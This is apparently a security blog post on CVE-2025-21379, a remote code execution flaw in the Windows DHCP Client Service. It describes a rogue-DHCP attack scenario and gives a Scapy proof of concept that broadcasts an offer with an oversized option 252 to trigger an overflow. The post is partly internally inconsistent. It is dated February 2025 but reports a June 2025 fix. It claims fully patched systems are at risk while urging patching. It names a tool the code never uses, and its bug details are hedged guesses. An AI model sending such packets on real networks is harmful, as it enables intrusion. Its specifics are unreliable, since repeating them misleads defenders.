CVE-2025-21379 - A Deep Dive into the DHCP Client Service Remote Code Execution Vulnerability

In early 2025, cybersecurity experts identified a serious flaw affecting Microsoft Windows systems: CVE-2025-21379, a Remote Code Execution (RCE) vulnerability in the DHCP Client Service. This post explains how the bug works, why it’s so dangerous, and walks through a simplified proof-of-concept with code snippets and helpful references.

What Is CVE-2025-21379?

CVE-2025-21379 is a vulnerability in the Windows DHCP Client Service (the component that automatically gets IP addresses from the network). A malicious DHCP server on the network—or a cyber-attacker with access to your LAN—could exploit this flaw to run code on your machine. This happens without any user interaction. In short: just being connected to a compromised network can get your computer hacked.

Affected Component: Windows DHCP Client Service (svchost.exe hosting dhcpcsvc.dll)

- Attack Vector: Network (Rogue/malicious DHCP reply)

The Underlying Bug

During the DHCP negotiation, Microsoft’s client parses DHCP options from the server response. The vulnerability involves a buffer overflow or similar memory corruption flaw, specifically when handling certain oversized or malformed DHCP option fields (such as option 252, “auto-proxy config url”, or certain vendor-class options).

The vulnerable function does not properly check the length of the received data before copying it into a fixed-size buffer, allowing an attacker to overwrite memory, which can lead to arbitrary code execution.

Attack Scenario

1. The attacker connects a rogue DHCP server to the target LAN (for example, Wi-Fi in a hotel or office).
2. When a Windows computer requests a DHCP lease, the attacker’s server sends a maliciously crafted response packet.

Proof of Concept (PoC): Malicious DHCP Server Code

> WARNING: Do not use in production or on unauthorized networks.

The following is a conceptual snippet using dhcpy6d and Scapy. It simulates sending a malformed DHCP packet to trigger the bug:

from scapy.all import *
import socket

# Craft a DHCP Offer with an oversized Option 252
malicious_offer = (
    Ether(src='aa:bb:cc:dd:ee:ff', dst='ff:ff:ff:ff:ff:ff')/
    IP(src='192.168.1.1', dst='255.255.255.255')/
    UDP(sport=67, dport=68)/
    BOOTP(op=2, yiaddr='192.168.1.100', siaddr='192.168.1.1')/
    DHCP(options=[
        ('message-type','offer'),
        (252, b'A' * 300),  # Oversized option to trigger overflow
        ('end')
    ])
)

sendp(malicious_offer, iface='eth')
print("Malicious DHCP offer sent.")

Note: Actual working exploits might require additional techniques (return addresses, heap spraying, etc.) depending on system protections.

Microsoft released a fix in June 2025. Get the official update:

Microsoft Security Advisory CVE-2025-21379

Monitor for Rogue DHCP Activity:

Tools like dhcp_probe, Wireshark, or Windows Defender for Endpoint can spot suspicious DHCP traffic.

Links and References

- Microsoft MSRC: CVE-2025-21379
- DHCP Specification, RFC 2131
- Scapy documentation
- Project Zero DHCP RCE example (CVE-2019-0787)
- Detecting and Preventing Rogue DHCP Servers

Conclusion

CVE-2025-21379 is as dangerous as it is simple—a silent, powerful attack vector that can compromise fully patched, otherwise-secure Windows systems. If you’re a sysadmin, patch now. If you’re a security researcher, watch out for similar unchecked buffers in other network services.

Stay alert and safe!

*Disclaimer: This post is written for educational purposes and awareness. Do not use offensive security tools without appropriate authorization.*

Timeline

Published on: 02/11/2025 18:15:36 UTC
Last modified on: 03/12/2025 01:42:13 UTC